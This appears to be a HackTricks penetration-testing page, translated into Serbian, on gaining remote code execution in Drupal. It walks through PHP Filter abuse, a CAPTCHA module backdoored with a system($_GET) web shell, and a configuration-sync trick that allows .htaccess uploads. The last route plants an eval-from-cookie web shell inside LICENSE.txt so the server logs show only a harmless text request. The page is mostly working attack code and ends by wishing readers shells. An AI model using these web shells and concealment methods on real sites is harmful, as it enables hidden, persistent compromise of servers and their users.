Drupal RCE

Support HackTricks

Sa PHP Filter Modulom

U starijim verzijama Drupala (pre verzije 8), bilo je moguće prijaviti se kao administrator i omogućiti PHP filter modul, koji "Omogućava evaluaciju ugrađenog PHP koda/fragmenta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.

Potrebno je da plugin php bude instaliran (proverite pristupom /modules/php i ako vrati 403, onda postoji, ako nije pronađen, onda plugin php nije instaliran)

Idite na Modules -> (Proverite) PHP Filter -> Sačuvajte konfiguraciju

Zatim kliknite na Add content -> Izaberite Basic Page ili Article -> Napišite php shellcode u telo -> Izaberite PHP code u Text format -> Izaberite Preview

Na kraju, jednostavno pristupite novokreiranom čvoru:

curl http://drupal-site.local/node/3

Instalirajte PHP Filter Modul

U trenutnim verzijama više nije moguće instalirati dodatke samo pristupom vebu nakon podrazumevane instalacije.

Od verzije 8 pa nadalje, PHP Filter modul nije instaliran podrazumevano. Da bismo iskoristili ovu funkcionalnost, morali bismo instalirati modul sami.

  1. Preuzmite najnoviju verziju modula sa Drupal veb sajta.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Kada se preuzme, idite na Administracija > Izveštaji > Dostupne nadogradnje.

  4. Kliknite na Pretraži, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na Instaliraj.

  5. Kada je modul instaliran, možemo kliknuti na Sadržaj i napraviti novu osnovnu stranicu, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno izaberite PHP kod iz Format teksta padajuće liste.

Modul sa backdoor-om

U trenutnim verzijama više nije moguće instalirati dodatke samo pristupom vebu nakon podrazumevane instalacije.

Modul sa backdoor-om može se kreirati dodavanjem shel-a postojećem modulu. Module možete pronaći na drupal.org veb sajtu. Izaberimo modul kao što je CAPTCHA. Pomerite se prema dole i kopirajte link za tar.gz arhivu.

  • Preuzmite arhivu i raspakujte njen sadržaj.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Napravite PHP web shell sa sadržajem:

<?php
system($_GET["cmd"]);
?>
  • Zatim, treba da kreiramo .htaccess datoteku kako bismo sebi omogućili pristup folderu. Ovo je neophodno jer Drupal odbija direktan pristup /modules folderu.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Konfiguracija iznad će primeniti pravila za / folder kada zatražimo datoteku u /modules. Kopirajte obe ove datoteke u captcha folder i kreirajte arhivu.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Pretpostavljajući da imamo administrativni pristup vebsajtu, kliknite na Manage i zatim Extend u bočnoj traci. Zatim, kliknite na dugme + Install new module, i bićemo preusmereni na stranicu za instalaciju, kao što je http://drupal-site.local/admin/modules/install. Pretražite arhivu sa backdoored Captcha i kliknite na Install.

  • Kada instalacija uspe, pretražite /modules/captcha/shell.php da izvršite komande.

Backdooring Drupal sa sinhronizacijom konfiguracije

Post podelio Coiffeur0x90

Deo 1 (aktivacija Media i Media Library)

U meniju Extend (/admin/modules), možete aktivirati ono što se čini kao već instalirani dodaci. Po defaultu, dodaci Media i Media Library se ne čine aktiviranim, pa hajde da ih aktiviramo.

Pre aktivacije:

Posle aktivacije:

Deo 2 (iskorišćavanje funkcije Configuration synchronization)

Iskoristićemo funkciju Configuration synchronization da dumpujemo (izvezemo) i otpremimo (importujemo) Drupal konfiguracione unose:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Patch system.file.yml

Hajde da počnemo sa patchovanjem prvog unosa allow_insecure_uploads iz:

File: system.file.yml


...

allow_insecure_uploads: false

...

Da:

Fajl: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

Zatim, ispravite drugi unos file_extensions iz:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Na:

Fajl: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Ne koristim to u ovom blog postu, ali je zabeleženo da je moguće definisati unos file_directory na proizvoljan način i da je podložan napadu prečicom (tako da možemo da se vratimo unazad unutar Drupal datotečnog sistema).

Deo 3 (iskorišćavanje funkcije Dodaj dokument)

Poslednji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.

Datoteka: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Zašto je ovaj trik cool?

Zato što kada se Webshell (koji ćemo nazvati LICENSE.txt) postavi na Web server, možemo prenositi naše komande putem $_COOKIE i u logovima Web servera, ovo će se prikazati kao legitimni GET zahtev za tekstualnom datotekom.

Zašto nazvati naš Webshell LICENSE.txt?

Jednostavno zato što ako uzmemo sledeću datoteku, na primer core/LICENSE.txt (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog isječka PHP koda u sredinu (pošto je datoteka dovoljno velika).

Datoteka: Patchovana LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Deo 3.1 (upload file .htaccess)

Prvo, koristimo funkciju Add Document (/media/add/document) da otpremimo naš fajl koji sadrži Apache direktive (.htaccess).

Deo 3.2 (upload file LICENSE.txt)

Zatim, ponovo koristimo funkciju Add Document (/media/add/document) da otpremimo Webshell skriven unutar fajla sa licencom.

Deo 4 (interakcija sa Webshell-om)

Poslednji deo se sastoji od interakcije sa Webshell-om.

Kao što je prikazano na sledećem ekranu, ako kolačić koji očekuje naš Webshell nije definisan, dobijamo sledeći rezultat prilikom konsultovanja fajla putem Web pretraživača.

Kada napadač postavi kolačić, može da interaguje sa Webshell-om i izvrši bilo koje komande koje želi.

I kao što možete videti u logovima, izgleda da je samo txt fajl zatražen.

Hvala vam što ste odvojili vreme da pročitate ovaj članak, nadam se da će vam pomoći da dobijete neke shell-ove.

Support HackTricks

Last updated